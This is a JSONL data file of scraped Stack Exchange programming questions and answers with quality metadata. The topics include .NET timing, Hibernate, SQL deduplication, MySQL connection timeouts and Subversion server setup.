{"id": "hf_9bc1b56528cc", "question": "<p>Does everyone just use XML in the message? Are there any good alternatives to XML?  If you do use XML, do you define an XML Schema so clients know how to send messages to your service?</p>\n", "question_body": "", "answer": "We use XML, but I think the important thing is to tailor the solution to the problem.  The reason we use XML is that we are basically sending an object across in the message.  There's no reason it can't be plain text, if applicable for the message you are sending, using headers to send along properties if appropriate.\nWe haven't defined an XSD or DTD for our XML messages, but we do have a formal document describing their composition so that other teams can use our feeds without bugging us.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.064597"}
{"id": "hf_b715614f545e", "question": "<p>State should include at least the following:</p>\n\n<ul>\n<li>All settings set via\nSetStreamResource()</li>\n<li>Indices</li>\n</ul>\n\n<p>I have a class whose Draw() function will call SetStreamResource, set Indices and eventually call DrawIndexedPrimitive(). I would like to restore the device state before Draw() returns.</p>\n\n<p>I am looking for something along the lines of GDI's SaveDC()/RestoreDC().</p>\n", "question_body": "", "answer": "Looks like these will do it:\n```\n```\nMicrosoft::DirectX::Direct3D::Device::BeginStateBlock\nMicrosoft::DirectX::Direct3D::Device::EndStateBlock\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.087697"}
{"id": "hf_27f328ecf739", "question": "<p>I launch my program in C#, which then calls some unmanaged C++. </p>\n\n<p>When I break on a line in the unmanaged C++, the 'New Data Breakpoint' menu item is grayed out.</p>\n\n<p>Is there anyway around this?</p>\n", "question_body": "", "answer": "To set a data breakpoint in the native portion of a mixed mode process, see the\nanswer posted by jyoung\n.\nVisual Studio disables data breakpoints when running anything but pure, native code. See\nthis\npost for a partial explanation why from a VS Program Manager.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.122929"}
{"id": "hf_68f8d55c8f28", "question": "<p>Is it ever OK to use <code>Environment.TickCount</code>to calculate time spans?</p>\n\n<pre><code>int start = Environment.TickCount;\n// Do stuff\nint duration = Environment.TickCount - start;\nConsole.WriteLine(\"That took \" + duration \" ms\");\n</code></pre>\n\n<p>Because <code>TickCount</code> is signed and will rollover after 25 days (it takes 50 days to hit all 32 bits, but you have to scrap the signed bit if you want to make any sense of the math), it seems like it's too risky to be useful. </p>\n\n<p>I'm using <code>DateTime.Now</code> instead. Is this the best way to do this?</p>\n\n<pre><code>DateTime start = DateTime.Now;\n// Do stuff\nTimeSpan duration = DateTime.Now - start;\nConsole.WriteLine(\"That took \" + duration.TotalMilliseconds + \" ms\");\n</code></pre>\n", "question_body": "", "answer": "Use Stopwatch class. There is a decent example on msdn:\nhttp://msdn.microsoft.com/en-us/library/system.diagnostics.stopwatch.aspx\n```\n```\nStopwatch stopWatch = Stopwatch.StartNew();\n    Thread.Sleep(10000);\n    stopWatch.Stop();\n    // Get the elapsed time as a TimeSpan value.\n    TimeSpan ts = stopWatch.Elapsed;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.150181"}
{"id": "hf_12feb958c2f5", "question": "<p>Is there a way to quickly list which sites are on which IP address in IIS 7?  </p>\n\n<p>If I remember correctly you could sort a view of domains by IP in IIS 6 which was a big help to me in seeing which IPs I had available.</p>\n", "question_body": "", "answer": "You can try this script:\n```\n```\nMachineName = \"localhost\"\nIIsObjectPath = \"IIS://\" & MachineName & \"/w3svc\"\n\nWScript.Echo \"Checking : \" & IISObjectPath\n\nSet IIsObject = GetObject(IIsObjectPath)\nfor each obj in IISObject\n    if (Obj.Class = \"IIsWebServer\") then\n        BindingPath = IIsObjectPath & \"/\" & Obj.Name\n\n        Set IIsObjectIP = GetObject(BindingPath)\n        wScript.Echo BindingPath & \" - \" & IISObjectIP.ServerComment\n\n        ValueList = IISObjectIP.Get(\"ServerBindings\")\n                ValueString = \"\"\n        For ValueIndex = 0 To UBound(ValueList)\n            value = ValueList(ValueIndex)\n            Values = split(value, \":\")\n            IP = values(0)\n            if (IP = \"\") then\n                IP = \"(All Unassigned)\"\n            end if \n            TCP = values(1)\n            if (TCP = \"\") then\n                TCP = \"80\"\n            end if \n            HostHeader = values(2)\n\n            if (HostHeader <> \"\") then\n                    wScript.Echo \"    IP = \" & IP & \" TCP/IP Port = \" & TCP & \", HostHeader = \" & HostHeader\n            else\n                    wScript.Echo \"    IP = \" & IP & \" TCP/IP Port = \" & TCP \n            end if\n                Next                                     \n        wScript.Echo \"\"\n        set IISObjectIP = Nothing\n    end if\nnext\nset IISObject = Nothing\n```\n```\n(source www.iisfaq.com)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.174650"}
{"id": "hf_df20ca75a215", "question": "<p>How do I programmatically reset the Excel <code>Find and Replace</code> dialog box parameters to defaults (\"Find what\", \"Replace with\", \"Within\", \"Search\", \"Look in\", \"Match case\", \"Match entire cell contents\")?</p>\n\n<p>I am using <code>Application.FindFormat.Clear</code> and <code>Application.ReplaceFormat.Clear</code> to reset find and replace cell formats.</p>\n\n<p>Interestingly, after using <code>expression.Replace(FindWhat, ReplaceWhat, After, MatchCase, WholeWords)</code>, the <code>FindWhat</code> string shows in the <code>Find and Replace</code> dialog box but not the <code>ReplaceWhat</code> parameter.</p>\n", "question_body": "", "answer": "You can use the following command to open the \"Replace\" dialog with fields filled:\nApplication.Dialogs(xlDialogFormulaReplace).Show -arguments here-\nthe argument list is\nfind_text, replace_text, look_at, look_by, active_cell, match_case, match_byte\nSo far, the only way I've found to 'click' the buttons is with SendKey.\nAfter much research and testing, I now know exactly what you want to do, but don't think it can be done (without SendKey).  It appears that there is a bug in Excel, that won't reset the replacement value (from VBA), no matter what you try and set it to.\nI did find this 'faster' way someone posted on MSDN, so you might give it a try.\nFaster than Replace", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.225327"}
{"id": "hf_e033c499333d", "question": "<p>Is there anything I should know before converting a large C++ program from VS2005 to VS2008?</p>\n", "question_body": "", "answer": "Is there a difference in the syntax that you can't just simply recompile? VS will convert the .sln and vcproj files for you automatically. The rest is just code, and unless you are doing something really strange, it should just recompile as-is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.263436"}
{"id": "hf_8e7731fb90ac", "question": "<p>I was reading about parsers and parser generators and found this statement in wikipedia's LR parsing -page:</p>\n\n<blockquote>\n  <p>Many programming languages can be parsed using some variation of an LR parser. One notable exception is C++.</p>\n</blockquote>\n\n<p>Why is it so? What particular property of C++ causes it to be impossible to parse with LR parsers?</p>\n\n<p>Using google, I only found that C can be perfectly parsed with LR(1) but C++ requires LR(∞). </p>\n", "question_body": "", "answer": "There is an interesting thread on\nLambda the Ultimate\nthat discusses the\nLALR grammar for C++\n.\nIt includes a link to a\nPhD thesis\nthat includes a discussion of C++ parsing, which states that:\n\"C++ grammar is ambiguous,\n  context-dependent and potentially\n  requires infinite lookahead to resolve\n  some ambiguities\".\nIt goes on to give a number of examples (see page 147 of the pdf).\nThe example is:\n```\n```\nint(x), y, *const z;\n```\n```\nmeaning\n```\n```\nint x;\nint y;\nint *const z;\n```\n```\nCompare to:\n```\n```\nint(x), y, new int;\n```\n```\nmeaning\n```\n```\n(int(x)), (y), (new int));\n```\n```\n(a comma-separated expression).\nThe two token sequences have the same initial subsequence but different parse trees, which depend on the last element. There can be arbitrarily many tokens before the disambiguating one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.288107"}
{"id": "hf_efa52fe27145", "question": "<p>I need to set the fetch mode on my hibernate mappings to be eager in some cases, and lazy in others. I have my default (set through the hbm file) as lazy=\"true\". How do I override this setting in code? MyClass has a set defined of type MyClass2 for which I want to set the FetchMode to EAGER.</p>\n\n<p>Currently, I have something like:</p>\n\n<pre><code>Session s = HibernateUtil.getSessionFactory().openSession();\nMyClass c = (MyClass)session.get(MyClass.class, myClassID);\n</code></pre>\n", "question_body": "", "answer": "You could try something like this: (code off the top of my head)\n```\n```\nCriteria crit = session.createCriteria(MyClass.class);\ncrit.add(Restrictions.eq(\"id\", myClassId));\ncrit.setFetchMode(\"myProperty\", FetchMode.EAGER);\nMyClass myThingy = (MyClass)crit.uniqueResult();\n```\n```\nI believe that FetchMode.JOIN or FetchMode.SELECT should be used instead of FetchMode.EAGER, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.349810"}
{"id": "hf_3f86ec2c0e54", "question": "<p>How would I expose an <em>Objective-C</em> method within JavaScript when using the <em>iPhone SDK</em> when using the <code>UIWebView</code>?</p>\n\n<p>Any help would be appreciated!</p>\n", "question_body": "", "answer": "The best way to do this would be through a custom link, and then use the UIWebView delegate method\n```\n-webView:shouldStartLoadWithRequest:navigationType:\n```\nto trap requests. When you see a request come through with your link in it, you know your action has been triggered.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.409787"}
{"id": "hf_34521a76df35", "question": "<p>I was mapping a relation using something like the following </p>\n\n<pre><code>&lt;map name=\"Foo\" cascade=\"all-delete-orphan\" lazy=\"false\"&gt;\n  &lt;key column=\"FooId\"/&gt;\n  &lt;index column=\"FooType\" type=\"Domain.Enum.FooType, Domain\"/&gt;\n  &lt;element column =\"FooStatus\" type=\"Domain.Enum.FooStatus, Domain\"/&gt;\n&lt;/map&gt;\n</code></pre>\n\n<p>The class is like this</p>\n\n<pre><code>namespace Domain {\n    public class Enum {\n        public enum FooType {\n            Foo1,\n            Foo2,\n            ...\n      Foo50}\n       public enum FooStatus {\n           NotNeeded,\n           NeededFor1,\n           NeededFor2,\n      NeededFor3,\n      NiceToHave}\n    }\n}\n</code></pre>\n\n<p>Can I do this using Fluent Nhibernate?\nIf not can I map a class mixing Fluent and XML?</p>\n", "question_body": "", "answer": "Forget to add\n```\n```\nnamespace Domain \n{\npublic virtual IDictionary<FooType, FooStatus> MyFoo { set; get; }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.434021"}
{"id": "hf_2391b0df8457", "question": "<p>I have a .Net app that will allow the users to attach files to a SQL Server 2005 database.  I want to limit the filesize to 10MB, so from what I can tell, I have to declare the datatype varbinary(max), since the max size I can actually specify is 8000 bytes.  But the ~2GB filesize varbinary(max) allows seems like overkill.  Is there a way for me to limit it at 10MB in the database, or do I just need to check that they're not trying to attach something larger on the frontend.</p>\n", "question_body": "", "answer": "I think you need to make it in the frontend. You can limit the HTTP request size in the web.config like that:\n```\n```\n</configuration>\n   </system.web>\n      <httpRuntime maxRequestLength=\"60000\"/>\n   </system.web>\n</configuration>\n```\n```\nYou may also need to explicitly check the posted file size when the user try to upload a file more than the specified threshold.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.458246"}
{"id": "hf_9c8903828855", "question": "<p>How would one go about capturing users keystrokes in the SMS composer on the Symbian OS, specifically for a Nokia N73 (or any of the symbian supported devices <a href=\"http://en.wikipedia.org/wiki/Symbian_OS#Devices_that_have_used_the_Symbian_OS\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/Symbian_OS#Devices_that_have_used_the_Symbian_OS</a>)? I'm new to symbian development and I'm trying to write an application to analyse writing styles of those who send SMSs. Any information (or push in the right direction) would be great.</p>\n\n<p>Many Thanks,</p>\n\n<p>A</p>\n", "question_body": "", "answer": "Well, there are several levels to answering to your question.\nThe keystrokes are actually captured by the message editor application. So, either it provides an API to feed you all its keystrokes (you can look for one on\nhttp://forum.nokia.com\n. You'll find the message editor API but it will be mostly about re-using GUI controls and not what you're looking for) or you would need a transparent application of your own that stays in the foreground and captures keystrokes before feeding them back to whatever application happens to be right behind. Fortunately (for obvious security reasons), Symbian OS will not allow you to do the later.\nYou can, however, have your own application read messages when they are saved in the  phone memory: when they are saved in the Draft folder or in the SMS Outbox.\nThe obligatory shameless plug: I would advise reading the messaging chapter of\nhttp://www.quickrecipesonsymbianos.com\nin order to understand how to use the Symbian Message Store\nThe classes of interest in your case are : CmsvEntry, CMsvSession, MMsvSessionObserver, CMsvOperation and CSmsClientMtm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.507557"}
{"id": "hf_4ca968f5e91d", "question": "<p>Does anyone know what is wrong with this query?</p>\n\n<pre><code> SELECT DISTINCT c.CN as ClaimNumber, \n         a.ItemDate as BillReceivedDate, c.DTN as\n DocTrackNumber\n         FROM ItemData a,\n         ItemDataPage b,\n         KeyGroupData c\n         WHERE a.ItemTypeNum in (112, 113, 116, 172, 189)\n         AND a.ItemNum = b.ItemNum\n         AND b.ItemNum = c.ItemNum\n         ORDER BY a.DateStored DESC;\n</code></pre>\n\n<p>I have done T-Sql most of my career and this looks correct to me, however this query is for an Oracle database and Toad just places the cursor on the a.DateStored in the Order By section. I'm sure this is elementary for anyone doing PL/SQL.</p>\n\n<p>Thanks!</p>\n\n<p>[EDIT] For future reference, the error given by SQL*Plus was: \"ORA-01791: not a SELECTed expression\"  </p>\n", "question_body": "", "answer": "Nevermind, executing in SQL Plus gave me a more informative answer. The DateStored needs to be in the select statement so this works:\n```\n```\nSELECT DISTINCT c.CN as ClaimNumber,          \na.ItemDate as BillReceivedDate, \nc.DTN as DocTrackNumber, \na.DateStored         \nFROM ItemData a,         \nItemDataPage b,         \nKeyGroupData c         \nWHERE a.ItemTypeNum in (112, 113, 116, 172, 189)         \nAND a.ItemNum = b.ItemNum         \nAND b.ItemNum = c.ItemNum         \nORDER BY a.DateStored DESC;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.536986"}
{"id": "hf_59d15c6648c6", "question": "<p>How can I find out which row in a JTable the user just clicked?</p>\n", "question_body": "", "answer": "Try this:\n```\naJTable.rowAtPoint(evt.getPoint());\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.599135"}
{"id": "hf_6461c43b898c", "question": "<p>The database type is PostGres 8.3.</p>\n\n<p>If I wrote: </p>\n\n<pre><code>SELECT field1, field2, field3, count(*) \nFROM table1\nGROUP BY field1, field2, field3 having count(*) &gt; 1;\n</code></pre>\n\n<p>I have some rows that have a count over 1. How can I take out the duplicate (I do still want 1 row for each of them instead of +1 row... I do not want to delete them all.)</p>\n\n<p>Example:</p>\n\n<pre><code>1-2-3\n1-2-3\n1-2-3\n2-3-4\n4-5-6\n</code></pre>\n\n<p>Should become :</p>\n\n<pre><code>1-2-3\n2-3-4\n4-5-6\n</code></pre>\n\n<p><em>The only answer I found is <a href=\"http://www.siafoo.net/article/64\" rel=\"noreferrer\">there</a> but I am wondering if I could do it without hash column.</em></p>\n\n<p><strong>Warning</strong>\nI do not have a PK with an unique number so I can't use the technique of min(...). The PK is the 3 fields.</p>\n", "question_body": "", "answer": "One possible answer is:\n```\n```\nCREATE <temporary table> (<correct structure for table being cleaned>);\nBEGIN WORK;   -- if needed\nINSERT INTO <temporary table> SELECT DISTINCT * FROM <source table>;\nDELETE FROM <source table>\nINSERT INTO <source table> SELECT * FROM <temporary table>;\nCOMMIT WORK;  -- needed\nDROP <temporary table>;\n```\n```\nI'm not sure whether the 'work' is needed on transaction statements, nor whether the explicit BEGIN is necessary in PostgreSQL.  But the concept applies to any DBMS.\nThe only thing to beware of is referential constraints and in particular triggered delete operations.  If those exist, this may prove less satisfactory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.635357"}
{"id": "hf_e8b8607947df", "question": "<p>consider this code block</p>\n\n<pre><code>public void ManageInstalledComponentsUpdate()\n        {\n            IUpdateView view = new UpdaterForm();\n            BackgroundWorker worker = new BackgroundWorker();\n            Update update = new Update();\n            worker.WorkerReportsProgress = true;\n            worker.WorkerSupportsCancellation = true;\n            worker.DoWork += new DoWorkEventHandler(update.DoUpdate);\n            worker.ProgressChanged += new ProgressChangedEventHandler(view.ProgressCallback);\n            worker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(view.CompletionCallback);            \n            worker.RunWorkerAsync();\n            Application.Run(view as UpdaterForm);     \n        }\n</code></pre>\n\n<p>It all works great but I want to understand why the objects (worker,view and update) don't get garbage collected</p>\n", "question_body": "", "answer": "Threads count as root objects; I don't know exactly how BackgroundWorker operates, but it seems likely that the primary thread method is going to access state on the worker instance; as such, the worker thread itself will keep the BackgroundWorker instance alive until (at least) the thread has exited.\nOf course; collection also requires that all other (live) objects have de-referenced the worker object; note also that collection of stack variables can be different in debug/release, and with/without a debugger attached.\n[edit]\nAs has also been noted; the event handlers on the worker (in your code) will keep the \"view\" and \"update\" objects alive (via the delegate), but not the other way around. As long as the worker has a shorter life than the \"view\" and \"update\", you don't need to get paranoid about unsubscribing the events. I've edited the code to include a \"SomeTarget\" object that isonly referenced by the worker: you should see this effect (i.e. the target dies with the worker).\nRe worker getting collected when the thread dies: here's the proof; you should see \"worker finalized\" after the worker reports exit:\n```\n```\nusing System;\nusing System.ComponentModel;\nusing System.Threading;\nusing System.Windows.Forms;\nclass Demo : Form\n{\n    class ChattyWorker : BackgroundWorker\n    {\n        ~ChattyWorker()\n        {\n            Console.WriteLine(\"Worker finalized\");\n        }\n    }\n    class SomeTarget\n    {\n        ~SomeTarget()\n        {\n            Console.WriteLine(\"Target finalized\");\n        }\n        public SomeTarget()\n        {\n            Console.WriteLine(\"Target created\");\n        }\n        public void Foo(object sender, EventArgs args)\n        {\n            Console.WriteLine(\"Foo\");\n        }\n    }\n    static void Collect(object sender, EventArgs args)\n    {\n        Console.WriteLine(\"Collecting...\");\n        GC.Collect(GC.MaxGeneration, GCCollectionMode.Forced);\n    }\n    protected override void OnLoad(EventArgs e)\n    {\n        base.OnLoad(e);\n\n        System.Windows.Forms.Timer timer = new System.Windows.Forms.Timer();\n        timer.Interval = 100;\n        timer.Tick += Collect;\n        timer.Start();\n\n        ChattyWorker worker = new ChattyWorker();\n        worker.RunWorkerCompleted += new SomeTarget().Foo;\n        worker.DoWork += delegate\n        {\n            Console.WriteLine(\"Worker starting\");\n            for (int i = 0; i < 10; i++)\n            {\n                Thread.Sleep(250);\n                Console.WriteLine(i);\n            }\n            Console.WriteLine(\"Worker exiting\");\n        };\n        worker.RunWorkerAsync();\n    }\n    [STAThread]\n    static void Main()\n    { // using a form to force a sync context\n        Application.Run(new Demo());\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.672111"}
{"id": "hf_2314ea80e2cf", "question": "<p>I have currently more than 100 connections in Sleep state.</p>\n\n<p>Some connection must stay in Sleep state (and don't close) because it's permanent connection but some others (with a different user name) are from some php script and I want them to timeout very fast.</p>\n\n<p>Is it possible to setup a wait_timeout per user? and if yes, How?</p>\n", "question_body": "", "answer": "I checked the\n```\nmysql.user\n```\ntable and it doesn't look like there is a setting there for it:\n```\n```\n+-----------------------+-----------------------------------+------+-----+---------+-------+\n| Field                 | Type                              | Null | Key | Default | Extra |\n+-----------------------+-----------------------------------+------+-----+---------+-------+\n| Host                  | char(60)                          | NO   | PRI |         |       |\n| User                  | char(16)                          | NO   | PRI |         |       |\n| Password              | char(41)                          | NO   |     |         |       |\n| Select_priv           | enum('N','Y')                     | NO   |     | N       |       |\n| Insert_priv           | enum('N','Y')                     | NO   |     | N       |       |\n| Update_priv           | enum('N','Y')                     | NO   |     | N       |       |\n| Delete_priv           | enum('N','Y')                     | NO   |     | N       |       |\n| Create_priv           | enum('N','Y')                     | NO   |     | N       |       |\n| Drop_priv             | enum('N','Y')                     | NO   |     | N       |       |\n| Reload_priv           | enum('N','Y')                     | NO   |     | N       |       |\n| Shutdown_priv         | enum('N','Y')                     | NO   |     | N       |       |\n| Process_priv          | enum('N','Y')                     | NO   |     | N       |       |\n| File_priv             | enum('N','Y')                     | NO   |     | N       |       |\n| Grant_priv            | enum('N','Y')                     | NO   |     | N       |       |\n| References_priv       | enum('N','Y')                     | NO   |     | N       |       |\n| Index_priv            | enum('N','Y')                     | NO   |     | N       |       |\n| Alter_priv            | enum('N','Y')                     | NO   |     | N       |       |\n| Show_db_priv          | enum('N','Y')                     | NO   |     | N       |       |\n| Super_priv            | enum('N','Y')                     | NO   |     | N       |       |\n| Create_tmp_table_priv | enum('N','Y')                     | NO   |     | N       |       |\n| Lock_tables_priv      | enum('N','Y')                     | NO   |     | N       |       |\n| Execute_priv          | enum('N','Y')                     | NO   |     | N       |       |\n| Repl_slave_priv       | enum('N','Y')                     | NO   |     | N       |       |\n| Repl_client_priv      | enum('N','Y')                     | NO   |     | N       |       |\n| Create_view_priv      | enum('N','Y')                     | NO   |     | N       |       |\n| Show_view_priv        | enum('N','Y')                     | NO   |     | N       |       |\n| Create_routine_priv   | enum('N','Y')                     | NO   |     | N       |       |\n| Alter_routine_priv    | enum('N','Y')                     | NO   |     | N       |       |\n| Create_user_priv      | enum('N','Y')                     | NO   |     | N       |       |\n| ssl_type              | enum('','ANY','X509','SPECIFIED') | NO   |     |         |       |\n| ssl_cipher            | blob                              | NO   |     |         |       |\n| x509_issuer           | blob                              | NO   |     |         |       |\n| x509_subject          | blob                              | NO   |     |         |       |\n| max_questions         | int(11) unsigned                  | NO   |     | 0       |       |\n| max_updates           | int(11) unsigned                  | NO   |     | 0       |       |\n| max_connections       | int(11) unsigned                  | NO   |     | 0       |       |\n| max_user_connections  | int(11) unsigned                  | NO   |     | 0       |       |\n+-----------------------+-----------------------------------+------+-----+---------+-------+\n37 rows in set (0.00 sec)\n```\n```\nDepending on whether you're using MySQLi or PDO, your PHP MySQL connections should either hang up when the request does, or be shared in a pool for the Apache process.\nFor example, with PDO, to turn off persistent connections (I think this is the default), connect to your DB with:\n$pdo = new PDO($dsn, $user, $pass, Array(PDO::ATTR_PERSISTENT => false));\nIf you want your scripts to use persistent connections, but you have too many connections open to your database in sleep mode, you should think about configuring your Apache's\n```\nMaxServers\n```\n,\n```\nMaxSpareServers\n```\n,\n```\nMinSpareServers\n```\nand\n```\nStartServers\n```\nso that not so many hang around when they aren't needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.749673"}
{"id": "hf_c2830cc1da8b", "question": "<p>I had svnserve configured to look at directory \"Foo\" for the repository it served. Now I changed the configuration from one repository to multiple repositories, all contained in one directory \"Bar\". I reconfigured svnserve to look at \"Bar\", but now my client can't find any repositories. What am I doing wrong? Do I need one service for each repository?</p>\n\n<p>Thanks, Miel.</p>\n", "question_body": "", "answer": "Did you configure your client to use svn://svn-server/Foo ? (Assuming Foo and Foo2 are repositories in directory Bar, which you're serving)\nSince you're serving \"Bar\" now (\"svnserve -r /repositories/Bar\" instead of \"svnserve -r /repositories/Bar/Foo\") you should make a change on your client-side repository URL.\nAnother solution would be to fire up multiple SVN servers with different ports using the --listen-port parameter. That would also change your URL.\nYet another alternative is just adding new projects to your single existing repository; note that you'll have a single repository configuration this way -- and that means a single set of users, simpler access control, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.793248"}
{"id": "hf_59010148a2a7", "question": "<p>I am using UIImagePicker to take photo and save the photo. But appears the photo it takes was truncated on top and bottom, which was top and bottom menu when UIImagePicker taking the photo. I am wondering how to take the whole screen of the photo.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Look in the \"editingInfo\" dictionary that you get back in the didFinishPickingImage: method, if there's a value for the @\"Original\" key then it's the real, uncropped image (stored as a UIImage object).\nFrom there you can look at the other editingInfo values to see if the user cropped that image, which you can then apply (or take the UIImage passed to you which is the cropped verson).  If you are getting an image back from the photo library, the original is not in the dictionary and you only have the image passed in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.850824"}
{"id": "hf_5aa453b9195d", "question": "<p>[Error] WARNING. Duplicate resource(s):\n[Error] Type  2 (BITMAP), ID TWWDBRICHEDITMSWORD:\n[Error] File C:\\Borland\\Delphi7\\ip4000vcl7\\LIB\\wwrichsp.RES resource kept; \n           file C:\\Borland\\Delphi7\\ip4000vcl7\\LIB\\wwrichsp.RES resource discarded.\nI have searched the code for same named objects, like objects.\nCan anyone give me a clue what else I can look for. </p>\n", "question_body": "", "answer": "Two units both using the same resource file. Probably looks like this:\n```\n```\n{$R wwrichsp.RES}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.875789"}
{"id": "hf_e5fc4d3dee00", "question": "<p>How long does it take for an experienced Windows programmer to learn writing simple software for Mac OS X? </p>\n\n<p>Where does one start and what tools will be necessary?</p>\n", "question_body": "", "answer": "THIS\n.  I came from a Win32 API background programming lately a lot in C# and I was able to pick up on Objective-C and Cocoa very quickly by working through the book.  You will be pleasantly surprised, the APIs are very rich and just wonderful.  Reflection is a first class citizen which makes things very easy.\nXcode is of course free and available on your Mac OS X installation disk.\nEdit: it took me about 2 weeks to come up to speed and write simple applications.  I think this is because the language and API are easy to learn and use and\nAaron Hillegass\n's\nbook\nwas a big help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.912187"}
{"id": "hf_81c526046b40", "question": "<p>I'd like to check a few queries generated by ActiveRecord, but I don't need to actually run them.  Is there a way to get at the query before it returns its result?</p>\n", "question_body": "", "answer": "Both of these articles should help you do what you want.\nhttp://weblog.jamisbuck.org/2007/1/8/watching-activerecord-do-it-s-thing\nhttp://weblog.jamisbuck.org/2007/1/31/more-on-watching-activerecord", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.935439"}
